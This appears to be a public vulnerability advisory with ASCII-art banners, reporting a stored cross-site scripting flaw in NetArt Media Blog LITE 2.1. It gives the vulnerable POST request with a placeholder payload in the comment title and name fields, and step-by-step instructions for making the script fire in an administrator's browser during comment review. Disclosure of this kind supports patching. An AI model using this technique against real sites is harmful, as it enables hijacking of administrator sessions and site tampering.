NetArt Media Blog LITE 2.1 Cross Site Scripting

`┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr :  
│ Website : https://www.netartmedia.net/blog-lite │  
│ Vendor : NetArt Media │  
│ Software : Blog LITE 2.1 │  
│ Vuln Type: Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
## Stored XSS  
  
---------------------------------------------------------  
POST /blog/index.php HTTP/2  
  
  
-----------------------------401019026540470155022776857270  
Content-Disposition: form-data; name="title"  
  
[XSS Payload]  
-----------------------------401019026540470155022776857270  
Content-Disposition: form-data; name="content"  
  
  
-----------------------------401019026540470155022776857270  
Content-Disposition: form-data; name="author"  
  
[XSS Payload]  
-----------------------------401019026540470155022776857270  
Content-Disposition: form-data; name="email"  
  
  
-----------------------------401019026540470155022776857270  
  
  
## Steps to Reproduce:  
  
1. Visit Any Category on the Blog  
2. Write a comment (as Guest)  
3. Inject your [XSS Payload] in "Comment Title"  
4. Inject your [XSS Payload] in "Your Name"  
5. Submit  
  
6. By default the Blog Disable your comment for Admin Check  
7. Admin Check the [BLOG POSTS] in the Administration Panel on this Path (https://website/blog/admin/index.php?page=posts)  
8. When the Admin check the comments on this Path (https://website/blog/admin/index.php?page=comments&id=2)  
9. XSS Will Fire and Executed on his Browser  
  
[-] Done  
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